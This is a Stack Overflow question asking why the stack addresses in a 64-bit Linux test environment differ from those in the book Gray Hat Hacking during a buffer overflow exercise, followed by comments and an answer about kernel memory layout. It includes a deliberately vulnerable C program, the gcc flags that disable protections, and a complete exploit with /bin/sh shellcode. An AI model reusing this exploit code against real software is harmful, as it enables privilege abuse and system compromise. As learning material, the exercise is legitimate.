4

According to the book, Gray Hat Hacking, "all Linux ELF files are mapped into memory with the last relative address as 0xbfffffff". By subtracting 4 NULL bytes, the length of the filename and the length of the shellcode from this address, it should apparently be possible to set the return address in the exploited buffer to that of the environment variable.

However, upon attempting this, it seems to me that in my 64-bit Linux testing environment (ASLR disabled) that the stack starts not at 0xbffffff, but at 0xffffdfff.

Why does my stack start at a different address to that in the book? This isn't about ALSR, as the address does not change every time, but I want to know why my addresses start at 0xffffdfff instead of the address in the book. Ideas?

Here is the vulnerable buffer:

#include <string.h>
#include <stdio.h>
#include <stdlib.h>
void main(int argc, char *argv[]) {
    char buffer[10];
    printf("Vulnerable program has loaded...");
    fflush(stdout);
    strcpy(buffer, argv[1]);
}

Compiler options:

gcc -m32 -mpreferred-stack-boundary=2 -z execstack -fno-stack-protector -ggdb -o shellcode_env shellcode_env.c

And here is the exploit code:

#include <unistd.h> 
#include <stdlib.h> 
#include <stdio.h> 
#include <string.h> 
#define FILENAME "./vulnerable_buffer_small" 
#define SIZE 80  
char shellcode[] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh"; 
void main(int argc, char *argv[]) { 
    char *environment[] = {shellcode, NULL}; 
    char buffer[SIZE]; 
    char *parameters[] = {FILENAME, buffer, NULL}; 
    int *pointer, i, address; 
    address = 0xbffffffa - strlen(shellcode) - strlen(FILENAME); 
    pointer = (int *) (buffer + 2);; 
    for (i = 0; i < SIZE; i += 4) { 
        *pointer++ = address; 
    }   
    printf("Using address: 0x%X\n", address); 
    execle(parameters[0], (char*) parameters, environment); 
    exit(1); 
}

I tried to find the address of the first environment variable in the vulnerable program with GDB, but without success:

(gdb) x/s *environ
*lines removed for clarity*
0xffffdfb5: "DISPLAY=:1"
(gdb) 
0xffffdfc0: "/home/Workbench/vulnerable_buffer_small"
(gdb) 
0xffffdff8: ""
(gdb) 
0xffffdff9: ""
(gdb) 
0xffffdffa: ""
(gdb) 
0xffffdffb: ""
(gdb) 
0xffffdffc: ""
(gdb) 
0xffffdffd: ""
(gdb) 
0xffffdffe: ""
(gdb) 
0xffffdfff: ""
(gdb) 
0xffffe000: <error: Cannot access memory at address 0xffffe000>

Can anybody explain what I've missed here?

  • Disbelief. It would be more appropriate to detect when someone is trying to run an exploit, than getting it to work for yourself. – Weather Vane Aug 17 '15 at 19:59
  • Are you serious? How would you propose to complete a vulnerability assessment of your software without probing potential buffer overflows? – Dead Silence Aug 17 '15 at 20:09
  • By restricting and examining the string provided. – Weather Vane Aug 17 '15 at 20:12
  • Have you verified that the shell code is running? Or are you just confused about stack addresses? – SeriousBusiness Aug 17 '15 at 20:50
  • @SeriousBusiness I've had no problem with this shell code before, I just don't understand why the stack start addresses are different. The very principle of this overflow type is that all Linux stacks have the same start address... – Dead Silence Aug 17 '15 at 20:56
  • one problem that I see is this line: 'execle(parameters[0], (char*) parameters, environment);', where the second parameter to execle() should be a char** so the line should be: 'execle(parameters[0], &parameters, environment);' – user3629249 Aug 18 '15 at 00:10
  • 2
    if the compiler has aslr enabled, stack start adresses will be different – steve Aug 18 '15 at 03:08
  • I think one of the problems (if you want to call it that) that you'll run into when trying to overflow a vulnerable buffer is that modern operating systems generally have some form of protection against this (i.e. ASLR, Data Execution Prevention, etc). – PC Luddite Aug 18 '15 at 05:22
  • @steve ASLR is disabled on the system. – Dead Silence Aug 18 '15 at 06:04
  • @user3629249 I received a incompatible compiler warning when I tried this. – Dead Silence Aug 18 '15 at 06:05
  • "ASLR is disabled on the system" how do you know that? Is it perhaps KASLR that's disabled? They are not the same. – msw Aug 18 '15 at 06:33
  • @msw I've done: echo 0 > /proc/sys/kernel/randomize_va_space and my address is constant every time, it's just that the starting address is not 0xbffffff like the book states it should be and I don't know why. – Dead Silence Aug 18 '15 at 06:43

1 Answers1

1

The explanation is rather simple - the segment order and address layout will definitely be different if you compare a 32-bit kernel versus a 64-bit kernel. The version of the book probably targeted 32-bit ELF binaries on 32-bit kernel or perhaps an older version of kernel altogether. Even if you run a 32-bit binary, you should still expect different results. You shouldn't assume address space layout would even be same between different kernel versions.

There's a fair amount of resources online to discovering more details on the matter, for example one very outdated article on Kernel 2.0: http://asm.sourceforge.net/articles/startup.html

You should also explore more on program address space layout differences between 32-bit and 64-bit binaries on linux.

Jorma Rebane
  • 611
  • 5
  • 11